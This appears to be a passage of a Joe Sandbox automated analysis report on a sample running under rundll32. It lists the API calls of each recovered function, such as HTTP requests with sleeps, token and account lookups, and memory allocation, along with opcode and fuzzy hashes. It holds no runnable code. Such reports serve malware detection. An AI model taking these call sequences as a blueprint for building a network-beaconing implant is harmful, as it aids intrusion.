__snprintf.LIBCMT ref: 010A12A1
__snprintf.LIBCMT ref: 010A1301
__snprintf.LIBCMT ref: 010A1318

Part of subcall function 010B4326: __output_l.LIBCMT ref: 010B43A8

HttpOpenRequestA.WININET(00000000,?,00000000,00000000,010CC530,010D2C58), ref: 010A1355
HttpSendRequestA.WININET(00000000,?,?,?,?), ref: 010A137E
Sleep.KERNEL32(000001F4), ref: 010A1397
InternetCloseHandle.WININET(00000000), ref: 010A13A8

Memory Dump Source

Source File: 00000007.00000002.779835594.00000000010A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10a0000_rundll32.jbxd

Yara matches

Similarity

API ID: __snprintf$HttpRequest_memset$CloseHandleInternetOpenSendSleep__output_l
String ID:
API String ID: 2260613392-0
Opcode ID: 658750362dd93c3880963128e9d8836b9c0c76e9097a1b97ccb7ec246e1a2136
Instruction ID: b6598c532cf527ee0b8e0e0ed0003a1ea27bc2ea59d681c0f94efd8f335f9a77
Opcode Fuzzy Hash: 658750362dd93c3880963128e9d8836b9c0c76e9097a1b97ccb7ec246e1a2136
Instruction Fuzzy Hash: D841A272900219BFDB21AFE4DC84EEE7BBDEF18304F8440A5F585B7111D7369A498B61

Uniqueness

Uniqueness Score: -1.00%

Function 010A5A34 Relevance: 9.1, APIs: 6, Instructions: 124
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetACP.KERNEL32(00000000,00000000,00000080,?,?,?,?,?,?,?,?,010A048D,00000000,00000000), ref: 010A5A3D
GetOEMCP.KERNEL32(?,?,?,?,?,?,?,?,010A048D,00000000,00000000), ref: 010A5A49
GetTickCount.KERNEL32 ref: 010A5A7A

Part of subcall function 010B45DA: __getptd.LIBCMT ref: 010B45DF

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,010A048D,00000000), ref: 010A5AA7
_memset.LIBCMT ref: 010A5B44
_memset.LIBCMT ref: 010A5B83

Memory Dump Source

Source File: 00000007.00000002.779835594.00000000010A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10a0000_rundll32.jbxd

Yara matches

Similarity

API ID: _memset$CountCurrentProcessTick__getptd
String ID:
API String ID: 2210316817-0
Opcode ID: 171913d72207c4a62f693a11ad6e3eb8556ec0f0f7ab849689780df0612deb70
Instruction ID: 8bc2852217e084447a3909155ff9d6ca52a861350c36868c31d2ab4d31095f94
Opcode Fuzzy Hash: 171913d72207c4a62f693a11ad6e3eb8556ec0f0f7ab849689780df0612deb70
Instruction Fuzzy Hash: CF31D57290030DBEDB207BF49C44EDE3FA8AF68224F544465F9C4E7181EE79D9448764

Uniqueness

Uniqueness Score: -1.00%

Function 010AA007 Relevance: 9.1, APIs: 6, Instructions: 70
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 010AA02B
_memset.LIBCMT ref: 010AA039
_memset.LIBCMT ref: 010AA047
GetTokenInformation.KERNELBASE(?,00000001(TokenIntegrityLevel),?,00001000,010AA0E6,?,?,?,?,?,010AA0E6,?,?), ref: 010AA064
LookupAccountSidA.ADVAPI32(00000000,?,?,?,?,?,?), ref: 010AA093
__snprintf.LIBCMT ref: 010AA0B5

Memory Dump Source

Source File: 00000007.00000002.779835594.00000000010A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10a0000_rundll32.jbxd

Yara matches

Similarity

API ID: _memset$AccountInformationLookupToken__snprintf
String ID:
API String ID: 2009363630-0
Opcode ID: 5af8d05a1becbe684d8447396a0185dd86d51730f65986875118efbb2a784592
Instruction ID: e3b694ffbc16ceb5a4785bd25c75cea76a5844e647593f3886efa3673d3a8d89
Opcode Fuzzy Hash: 5af8d05a1becbe684d8447396a0185dd86d51730f65986875118efbb2a784592
Instruction Fuzzy Hash: DA212CB294011DBEDB11DA90CC84EEF77BCEF04744F0448AAB656E3140E675AB84CB60

Uniqueness

Uniqueness Score: -1.00%

Function 010A72D8 Relevance: 7.9, APIs: 5, Instructions: 360
threadCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThread.KERNEL32 ref: 010AA150
OpenThreadToken.ADVAPI32(00000000), ref: 010AA157
GetCurrentProcess.KERNEL32(00000008,?), ref: 010AA167
OpenProcessToken.ADVAPI32(00000000), ref: 010AA16E
CloseHandle.KERNEL32(?), ref: 010AA184

Memory Dump Source

Source File: 00000007.00000002.779835594.00000000010A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10a0000_rundll32.jbxd

Yara matches

Similarity

API ID: CurrentOpenProcessThreadToken$CloseHandle
String ID:
API String ID: 2405408533-0
Opcode ID: f8827cd9436ccb714df0f0eaab4202c802d23c53ea27dffadd171c934afa68ab
Instruction ID: 21c43576a32a474abc99bd99a4871d6f0e8656fc8621c76ffd087bbb80a5cae1
Opcode Fuzzy Hash: f8827cd9436ccb714df0f0eaab4202c802d23c53ea27dffadd171c934afa68ab
Instruction Fuzzy Hash: 0A814C6636D212B5D53833F55C56FEF3A4CDF256A1FC1CE2BB6CAA8082C867C44081B2

Uniqueness

Uniqueness Score: -1.00%

Function 010A031C Relevance: 7.8, APIs: 5, Instructions: 271
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 010A5B90: _malloc.LIBCMT ref: 010A5B96
Part of subcall function 010A5B90: _malloc.LIBCMT ref: 010A5BA6

_malloc.LIBCMT ref: 010A03A4

Part of subcall function 010B41C7: __FF_MSGBANNER.LIBCMT ref: 010B41EA
Part of subcall function 010B41C7: __NMSG_WRITE.LIBCMT ref: 010B41F1
Part of subcall function 010B41C7: RtlAllocateHeap.NTDLL(00000000,?,?,00004008,010D65EC,?,010A006E,00004008), ref: 010B423E

Part of subcall function 010AA583: _malloc.LIBCMT ref: 010AA5AA
Part of subcall function 010AA583: _memset.LIBCMT ref: 010AA5D8

Part of subcall function 010AA583: _realloc.LIBCMT ref: 010AA5B9

_malloc.LIBCMT ref: 010A0453
__snprintf.LIBCMT ref: 010A04BC
__snprintf.LIBCMT ref: 010A04DA
__snprintf.LIBCMT ref: 010A04F8

Part of subcall function 010A9F20: Sleep.KERNEL32(000003E8,00000000,00000000,010A0662), ref: 010A9F4B
Part of subcall function 010A9F20: RtlExitUserThread.NTDLL(00000000,00000000,00000000,010A0662), ref: 010A9F55
Part of subcall function 010A9F20: CreateThread.KERNEL32(00000000,00000000,00000000,00000000,00000000,000000FF), ref: 010A9F6F
Part of subcall function 010A9F20: WaitForSingleObject.KERNEL32(00000000), ref: 010A9F76

Memory Dump Source

Source File: 00000007.00000002.779835594.00000000010A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10a0000_rundll32.jbxd

Yara matches

Similarity

API ID: _malloc$__snprintf$Thread$AllocateCreateExitHeapObjectSingleSleepUserWait_memset_realloc
String ID:
API String ID: 72052018-0
Opcode ID: 136b83b58e00ddbf68b07e8276e941dae07ad44e73220707faa7bf377ab9d503
Instruction ID: 7b7a81ef1f98d778759e1cdfd76ec7cd749c1908207dbba30dcc2395f0035b49
Opcode Fuzzy Hash: 136b83b58e00ddbf68b07e8276e941dae07ad44e73220707faa7bf377ab9d503
Instruction Fuzzy Hash: E9812671704302AEE620BBF59C40BEF7AE8AFE8314FD44929F6D49A190EB71C541C762

Uniqueness

Uniqueness Score: -1.00%

Function 010B40EA Relevance: 7.5, APIs: 5, Instructions: 44
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__lock.LIBCMT ref: 010B4108

Part of subcall function 010B5FE3: __mtinitlocknum.LIBCMT ref: 010B5FF9
Part of subcall function 010B5FE3: __amsg_exit.LIBCMT ref: 010B6005
Part of subcall function 010B5FE3: RtlEnterCriticalSection.NTDLL(?), ref: 010B600D

___sbh_find_block.LIBCMT ref: 010B4113
___sbh_free_block.LIBCMT ref: 010B4122
RtlFreeHeap.NTDLL(00000000,?,010CE5C8,0000000C,010B5FC4,00000000,010CE728,0000000C,010B5FFE,?,?,?,010BF821,00000004,010CEA88,0000000C), ref: 010B4152
GetLastError.KERNEL32(?,010BF821,00000004,010CEA88,0000000C,010BC1F3,?,?,00000000,00000000,00000000,?,010B8FE7,00000001,00000214), ref: 010B4163

Memory Dump Source

Source File: 00000007.00000002.779835594.00000000010A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10a0000_rundll32.jbxd

Yara matches

Similarity

API ID: CriticalEnterErrorFreeHeapLastSection___sbh_find_block___sbh_free_block__amsg_exit__lock__mtinitlocknum
String ID:
API String ID: 2714421763-0
Opcode ID: 7a21ef2303fe5f5f65c542c3eb6038178f73ce78145ba35b4418ed5d23e65f4f
Instruction ID: 04aca9abfff049149a54e94b74b3ae0895c02fb55b25ef5fd4101163078cf226
Opcode Fuzzy Hash: 7a21ef2303fe5f5f65c542c3eb6038178f73ce78145ba35b4418ed5d23e65f4f
Instruction Fuzzy Hash: D001A271E01206AADB307F759C88BDE3EB4AF21321F104558F5C1E6281DB3A86418F55

Uniqueness

Uniqueness Score: -1.00%

Function 010A9684 Relevance: 6.1, APIs: 4, Instructions: 115
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_malloc.LIBCMT ref: 010A969B

Part of subcall function 010B41C7: __FF_MSGBANNER.LIBCMT ref: 010B41EA
Part of subcall function 010B41C7: __NMSG_WRITE.LIBCMT ref: 010B41F1
Part of subcall function 010B41C7: RtlAllocateHeap.NTDLL(00000000,?,?,00004008,010D65EC,?,010A006E,00004008), ref: 010B423E

_memset.LIBCMT ref: 010A96AC

Part of subcall function 010AA583: _malloc.LIBCMT ref: 010AA5AA
Part of subcall function 010AA583: _memset.LIBCMT ref: 010AA5D8

_malloc.LIBCMT ref: 010A9735

Part of subcall function 010AA583: _realloc.LIBCMT ref: 010AA5B9

_memset.LIBCMT ref: 010A97B9

Memory Dump Source

Source File: 00000007.00000002.779835594.00000000010A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10a0000_rundll32.jbxd

Yara matches

Similarity

API ID: _malloc_memset$AllocateHeap_realloc
String ID:
API String ID: 3494230449-0
Opcode ID: 9cc633bdadb0c04cc30185a2e6f496e25660cbbb86c3a08c138049a006869bd4
Instruction ID: d186441701fd440603dee39ac2e539beae2d91a9b69649f70312cd2c54d415b8
Opcode Fuzzy Hash: 9cc633bdadb0c04cc30185a2e6f496e25660cbbb86c3a08c138049a006869bd4
Instruction Fuzzy Hash: 7D3136326043466AD720EAE49C85FEB77DCFF58B14F800D1EF5D4D70C1EAB5A5408265

Uniqueness

Uniqueness Score: -1.00%

Function 010A7C14 Relevance: 6.1, APIs: 4, Instructions: 63
filememoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualQuery.KERNEL32(?,?,0000001C), ref: 010A7C4B
HeapDestroy.KERNEL32(?), ref: 010A7C73
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 010A7C8A
UnmapViewOfFile.KERNEL32(?), ref: 010A7CA3

Memory Dump Source

Source File: 00000007.00000002.779835594.00000000010A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10a0000_rundll32.jbxd

Yara matches

Similarity

API ID: Virtual$DestroyFileFreeHeapQueryUnmapView
String ID:
API String ID: 3773834756-0
Opcode ID: fa3e892e4b307b45045d0d6f1a2fbf392a8748a468a8b17a5c5cf27c7aebeb99
Instruction ID: 737592fcf21154dc1ec55a49ada817e13f47d3cef36d47aff3fa31164fb90ef8
Opcode Fuzzy Hash: fa3e892e4b307b45045d0d6f1a2fbf392a8748a468a8b17a5c5cf27c7aebeb99
Instruction Fuzzy Hash: B011E33190021EDFDB719BA9D906FAF37A9AF40753F80C0A9E481A7141D77BD981CB90

Uniqueness

Uniqueness Score: -1.00%

Function 010A64B9 Relevance: 4.6, APIs: 3, Instructions: 69
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_malloc.LIBCMT ref: 010A64DF

Part of subcall function 010B41C7: __FF_MSGBANNER.LIBCMT ref: 010B41EA
Part of subcall function 010B41C7: __NMSG_WRITE.LIBCMT ref: 010B41F1
Part of subcall function 010B41C7: RtlAllocateHeap.NTDLL(00000000,?,?,00004008,010D65EC,?,010A006E,00004008), ref: 010B423E

Memory Dump Source

Source File: 00000007.00000002.779835594.00000000010A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10a0000_rundll32.jbxd

Yara matches

Similarity

API ID: AllocateHeap_malloc
String ID:
API String ID: 501242067-0
Opcode ID: 40fffe2c04dcf4098cf7ddf69f38b983226156258f13b57eb77f7e4457985957
Instruction ID: 9dfc7ebc4091237188753260354059bae3554c2b1fb75b1850ecb93143fe5566
Opcode Fuzzy Hash: 40fffe2c04dcf4098cf7ddf69f38b983226156258f13b57eb77f7e4457985957
Instruction Fuzzy Hash: 1B21A471801205EFDB209FE4E9805AD77B1EB04729F64026DE5C2A3695E3776E04DB00

Uniqueness

Uniqueness Score: -1.00%

Function 010A16C7 Relevance: 4.6, APIs: 3, Instructions: 66
networkCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 010A1638: WSAStartup.WS2_32(00000202,?), ref: 010A1656
Part of subcall function 010A1638: WSACleanup.WS2_32 ref: 010A1660

WSASocketA.WS2_32(00000002,00000002,00000000,00000000,00000000,00000000), ref: 010A16E7
WSAIoctl.WS2_32(00000000,4004747F,00000000,00000000,?,000005F0,?,00000000,00000000), ref: 010A1712
closesocket.WS2_32(00000000), ref: 010A1751

Memory Dump Source

Source File: 00000007.00000002.779835594.00000000010A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10a0000_rundll32.jbxd

Yara matches

Similarity

API ID: CleanupIoctlSocketStartupclosesocket
String ID:
API String ID: 1100289767-0
Opcode ID: 164a63b6fa3167c8615ad3b04cd88c6c55c204387823e11f13783c52bb5e2ad1
Instruction ID: 616cf56718d7de4401b604d43fcc1d93122adbc6344ecb795a33605b25c2a2c9
Opcode Fuzzy Hash: 164a63b6fa3167c8615ad3b04cd88c6c55c204387823e11f13783c52bb5e2ad1
Instruction Fuzzy Hash: 231106356011247FD3208AA99C48EFF7FBDEB857B1F4440A1F695D3181D63589418A60

Uniqueness

Uniqueness Score: -1.00%

Function 010A5B90 Relevance: 4.5, APIs: 3, Instructions: 35
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_malloc.LIBCMT ref: 010A5B96

Part of subcall function 010B41C7: __FF_MSGBANNER.LIBCMT ref: 010B41EA
Part of subcall function 010B41C7: __NMSG_WRITE.LIBCMT ref: 010B41F1
Part of subcall function 010B41C7: RtlAllocateHeap.NTDLL(00000000,?,?,00004008,010D65EC,?,010A006E,00004008), ref: 010B423E

_malloc.LIBCMT ref: 010A5BA6
_memset.LIBCMT ref: 010A5BC3

Part of subcall function 010B40EA: __lock.LIBCMT ref: 010B4108
Part of subcall function 010B40EA: ___sbh_find_block.LIBCMT ref: 010B4113
Part of subcall function 010B40EA: ___sbh_free_block.LIBCMT ref: 010B4122
Part of subcall function 010B40EA: RtlFreeHeap.NTDLL(00000000,?,010CE5C8,0000000C,010B5FC4,00000000,010CE728,0000000C,010B5FFE,?,?,?,010BF821,00000004,010CEA88,0000000C), ref: 010B4152
Part of subcall function 010B40EA: GetLastError.KERNEL32(?,010BF821,00000004,010CEA88,0000000C,010BC1F3,?,?,00000000,00000000,00000000,?,010B8FE7,00000001,00000214), ref: 010B4163

Memory Dump Source

Source File: 00000007.00000002.779835594.00000000010A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10a0000_rundll32.jbxd

Yara matches

Similarity

API ID: Heap_malloc$AllocateErrorFreeLast___sbh_find_block___sbh_free_block__lock_memset
String ID:
API String ID: 1561657895-0
Opcode ID: 77107a92151876f0691211cbdecdabc6d0ac07d9144d98e563d34875cea72a7d
Instruction ID: 99e904886dfe8bafad9902fc0fd7c95899f5a6477c93cc9eaa4a4c326ece1e4c
Opcode Fuzzy Hash: 77107a92151876f0691211cbdecdabc6d0ac07d9144d98e563d34875cea72a7d
Instruction Fuzzy Hash: F7E0613B64001B77CB2236D99C40FEF3E19DFE25B1F500824FAC89D541DA51450056F1

Uniqueness

Uniqueness Score: -1.00%

Function 010A77CC Relevance: 4.5, APIs: 3, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

htonl.WS2_32(00000000), ref: 010A77E3
htonl.WS2_32(?), ref: 010A77EC
_memset.LIBCMT ref: 010A7815

Memory Dump Source

Source File: 00000007.00000002.779835594.00000000010A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10a0000_rundll32.jbxd

Yara matches

Similarity

API ID: htonl$_memset
String ID:
API String ID: 1469912044-0
Opcode ID: 23ff309e8046e796af9dd13b083f41f431b164eabda20d9c4d7b55ebeddf9048
Instruction ID: ba045c9117b00c81be1ae9aad27f302581bcf7d39e8c4d1a2513507d424c853b
Opcode Fuzzy Hash: 23ff309e8046e796af9dd13b083f41f431b164eabda20d9c4d7b55ebeddf9048
Instruction Fuzzy Hash: EFF09031900619ABCB21FBE4C4C09DEBBA4BB10748F80C418E58967505D631E985CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 010A90C6 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 145COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 010A90E6

Strings

abcdefghijklmnop, xrefs: 010A9159

Memory Dump Source

Source File: 00000007.00000002.779835594.00000000010A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10a0000_rundll32.jbxd

Yara matches

Similarity

API ID: _malloc
String ID: abcdefghijklmnop
API String ID: 1579825452-2486878355
Opcode ID: 383be732e31586a3d0008d5b3f9efb71c218c0ceb09eca61872ea27cc9a5f92a
Instruction ID: dc69045340223be9ee2192870ed0a4defe257441ebe77d3d2b2037f043a3778d
Opcode Fuzzy Hash: 383be732e31586a3d0008d5b3f9efb71c218c0ceb09eca61872ea27cc9a5f92a
Instruction Fuzzy Hash: A4412D36F0011AAADF10BBFCDC84DEF77A8EF14258F840965E9D1E7081EB35A9418790

Uniqueness

Uniqueness Score: -1.00%

Function 010A0FE6 Relevance: 3.1, APIs: 2, Instructions: 114networkCOMMONLIBRARYCODE

Download Yara Rule

APIs

InternetOpenA.WININET(010A0511,00000003,00000000,00000000,00000000), ref: 010A1067
InternetConnectA.WININET(?,?,00000000,00000000,00000003,00000000,010D2C58), ref: 010A10AE

Memory Dump Source

Source File: 00000007.00000002.779835594.00000000010A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10a0000_rundll32.jbxd

Yara matches

Similarity

API ID: Internet$ConnectOpen
String ID:
API String ID: 2790792615-0
Opcode ID: fa92804489b2213f6f4f2c4e41f0236f92b186d60ddc7df37b99312c2d18c740
Instruction ID: bc45357ba06b29872ac710d270a0e675988a7379cc2806febf0245af62b4a183
Opcode Fuzzy Hash: fa92804489b2213f6f4f2c4e41f0236f92b186d60ddc7df37b99312c2d18c740
Instruction Fuzzy Hash: 5431B47538034679EA3167A59D4AFFF3E6DDBC5B14FC08025F6809D0D8C9BA4982DB20

Uniqueness

Uniqueness Score: -1.00%

Function 00B48C34 Relevance: 3.1, APIs: 2, Instructions: 83librarymemoryCOMMON

Download Yara Rule

APIs

LoadLibraryExA.KERNELBASE(-0000003F,00000000,00000001), ref: 00B48C7B
VirtualAlloc.KERNELBASE(00000000,?,00003000,?,MetNet), ref: 00B48D0C

Memory Dump Source

Source File: 00000007.00000003.256646487.0000000000B40000.00000020.00000400.00020000.00000000.sdmp, Offset: 00B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_3_b40000_rundll32.jbxd

Yara matches

Similarity

API ID: AllocLibraryLoadVirtual
String ID:
API String ID: 3550616410-0
Opcode ID: ab1574bfb117445310e7799441a9603d0f3f20793018a174e19dd5860c254bed
Instruction ID: 32298b80621805e42fcb30a8bf0904f62a4ce643384c7398174d67f79169c8bb
Opcode Fuzzy Hash: ab1574bfb117445310e7799441a9603d0f3f20793018a174e19dd5860c254bed
Instruction Fuzzy Hash: 3531C970A00209AFDB08CF99D894BAEB7F5FF88310F10C199E9199B295D770AA90CF50

Uniqueness

Uniqueness Score: -1.00%

Function 010A0000 Relevance: 3.1, APIs: 2, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 010A0069
_memset.LIBCMT ref: 010A0074

Memory Dump Source

Source File: 00000007.00000002.779835594.00000000010A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10a0000_rundll32.jbxd

Yara matches

Similarity

API ID: _malloc_memset
String ID:
API String ID: 4137368368-0
Opcode ID: f1964c2ab2210c4164344598c53834700f20c5eb85d30a1e37efdce5dff95875
Instruction ID: 454f1ea98622b837d72ceb9f937769218fe58538017d3efe149f70a9e9bd3214
Opcode Fuzzy Hash: f1964c2ab2210c4164344598c53834700f20c5eb85d30a1e37efdce5dff95875
Instruction Fuzzy Hash: 0611E9317D21494BE7264A6C8850FB1BBDCDF12A55F8941E6FBC58F24BD363D8418790

Uniqueness

Uniqueness Score: -1.00%

Function 010A13C2 Relevance: 3.0, APIs: 2, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 010A13D6

Part of subcall function 010B41C7: __FF_MSGBANNER.LIBCMT ref: 010B41EA
Part of subcall function 010B41C7: __NMSG_WRITE.LIBCMT ref: 010B41F1
Part of subcall function 010B41C7: RtlAllocateHeap.NTDLL(00000000,?,?,00004008,010D65EC,?,010A006E,00004008), ref: 010B423E

Part of subcall function 010AA583: _malloc.LIBCMT ref: 010AA5AA
Part of subcall function 010AA583: _memset.LIBCMT ref: 010AA5D8

htonl.WS2_32(00000000), ref: 010A140B

Memory Dump Source

Source File: 00000007.00000002.779835594.00000000010A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10a0000_rundll32.jbxd

Yara matches

Similarity

API ID: _malloc$AllocateHeap_memsethtonl
String ID:
API String ID: 324499745-0
Opcode ID: eeea27af21cc2c111fe921580521fc46aef1c2d3e22f427967d78ede32d86e8a
Instruction ID: bf5293314254bbbd1945932315e62752898830f2263cdee10bbe4de36f822c2a
Opcode Fuzzy Hash: eeea27af21cc2c111fe921580521fc46aef1c2d3e22f427967d78ede32d86e8a
Instruction Fuzzy Hash: 6001A271901216ABDB31AF98DC80FDA7799EB05714F804079EDE89B249DB7BA840CFD1

Uniqueness

Uniqueness Score: -1.00%

Function 010A1638 Relevance: 3.0, APIs: 2, Instructions: 41networkCOMMONLIBRARYCODE

Download Yara Rule

APIs

WSAStartup.WS2_32(00000202,?), ref: 010A1656
WSACleanup.WS2_32 ref: 010A1660

Part of subcall function 010B48AE: _doexit.LIBCMT ref: 010B48BA

Memory Dump Source

Source File: 00000007.00000002.779835594.00000000010A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10a0000_rundll32.jbxd

Yara matches

Similarity

API ID: CleanupStartup_doexit
String ID:
API String ID: 3413891862-0
Opcode ID: ad6624b6eb01780011e30993adbdffdea65e4702a3bca8703183fdeb780c6672
Instruction ID: 57b3957a87fcfae59debb8bf45636037ef5f8d685b19c250abea3fd11c301f20
Opcode Fuzzy Hash: ad6624b6eb01780011e30993adbdffdea65e4702a3bca8703183fdeb780c6672
Instruction Fuzzy Hash: BC018671B42701AAEB34ABF5E689B8C76D8AF5C704F408036E6C4CB1D5EABE4084CB40

Uniqueness

Uniqueness Score: -1.00%

Function 010A6A47 Relevance: 3.0, APIs: 2, Instructions: 30COMMONLIBRARYCODE

Download Yara Rule

APIs

ProcessIdToSessionId.KERNELBASE(010D6E64,?,?,?,?,?,010A6AB6), ref: 010A6A5D
GetCurrentProcessId.KERNEL32(010A6AB6,?,?,?,?,010A6AB6), ref: 010A6A67

Memory Dump Source

Source File: 00000007.00000002.779835594.00000000010A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10a0000_rundll32.jbxd

Yara matches

Similarity

API ID: Process$CurrentSession
String ID:
API String ID: 2701954971-0
Opcode ID: a41df559ea41a34a1ae6b425ee80b481f2faa1ec6ec4a72aa74071233247f6d5
Instruction ID: 41efb4575ee5ec71097fd49ae1d194d8808059cc7b53ef158175cfba6bc18102
Opcode Fuzzy Hash: a41df559ea41a34a1ae6b425ee80b481f2faa1ec6ec4a72aa74071233247f6d5
Instruction Fuzzy Hash: 53E0ED72A11219BF9F50D7E9DD55C9B7BFCEA142807484591E982D3104E676EA018FB0

Uniqueness

Uniqueness Score: -1.00%

Function 010A788E Relevance: 3.0, APIs: 2, Instructions: 28COMMONLIBRARYCODE

Download Yara Rule

APIs

OpenProcessToken.ADVAPI32(00000000,00000008,00000000,?,?,010A7A2D,00000000,00000000), ref: 010A789B
FindCloseChangeNotification.KERNELBASE(00000000,00000000,010C6150,?,?,010A7A2D,00000000,00000000), ref: 010A78C0

Memory Dump Source

Source File: 00000007.00000002.779835594.00000000010A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10a0000_rundll32.jbxd

Yara matches

Similarity

API ID: ChangeCloseFindNotificationOpenProcessToken
String ID:
API String ID: 4248585721-0
Opcode ID: 57884eb02c92f87c7d01d8ac579e2204096dd65f90d8a7ada1dedc11dfaf0ca8
Instruction ID: 28c1b07b390b07ce686959e2bcbbd87b38293c77a4e25faa8ffc8d676096615a
Opcode Fuzzy Hash: 57884eb02c92f87c7d01d8ac579e2204096dd65f90d8a7ada1dedc11dfaf0ca8
Instruction Fuzzy Hash: FAE01232600104FFDF215B95DC09ECABFA9EB846A5F204066F841E2250D776DE00AB50

Uniqueness

Uniqueness Score: -1.00%

Function 010A1CF0 Relevance: 3.0, APIs: 2, Instructions: 24COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 010A1D0E
GetCurrentDirectoryA.KERNEL32(00000800,00000000), ref: 010A1D22

Memory Dump Source

Source File: 00000007.00000002.779835594.00000000010A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10a0000_rundll32.jbxd

Yara matches

Similarity

API ID: CurrentDirectory_memset
String ID:
API String ID: 3188359964-0
Opcode ID: 36dc5d13b66bdd9d2568df7168806f3ef6a2f17673ae56d016f9750c1c64d691
Instruction ID: acd4eea60863eebd9e5fd68b61666dbdc5e5af3792750368103f8cfc1fe103f3
Opcode Fuzzy Hash: 36dc5d13b66bdd9d2568df7168806f3ef6a2f17673ae56d016f9750c1c64d691
Instruction Fuzzy Hash: 84E04875E4420D6AE770B6A4AC46FD577EC7F14705F4440B0A988E51C1FEB4A60C4FD2

Uniqueness

Uniqueness Score: -1.00%

Function 010AC7D5 Relevance: 1.8, APIs: 1, Instructions: 257COMMONLIBRARYCODE

Download Yara Rule

APIs

_calloc.LIBCMT ref: 010AC837

Part of subcall function 010C2340: __calloc_impl.LIBCMT ref: 010C2355

Memory Dump Source

Source File: 00000007.00000002.779835594.00000000010A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10a0000_rundll32.jbxd

Yara matches

Similarity

API ID: __calloc_impl_calloc
String ID:
API String ID: 2108883976-0
Opcode ID: 6c9896a2b5df3e9fa0cf89a27b4dfd29046aa3a1131e9bb75472cdc0b575e016
Instruction ID: 2337781ad3e365d3c2ab1c8be4a4537ddb5934646dda9e58584d76b7f27747e0
Opcode Fuzzy Hash: 6c9896a2b5df3e9fa0cf89a27b4dfd29046aa3a1131e9bb75472cdc0b575e016
Instruction Fuzzy Hash: 09A127B1900209EFEF218FD5CD85EEEBBB6FF89700F104199E581AA251D7729A50DF60

Uniqueness

Uniqueness Score: -1.00%

Function 010A7106 Relevance: 1.6, APIs: 1, Instructions: 140COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 010A7114

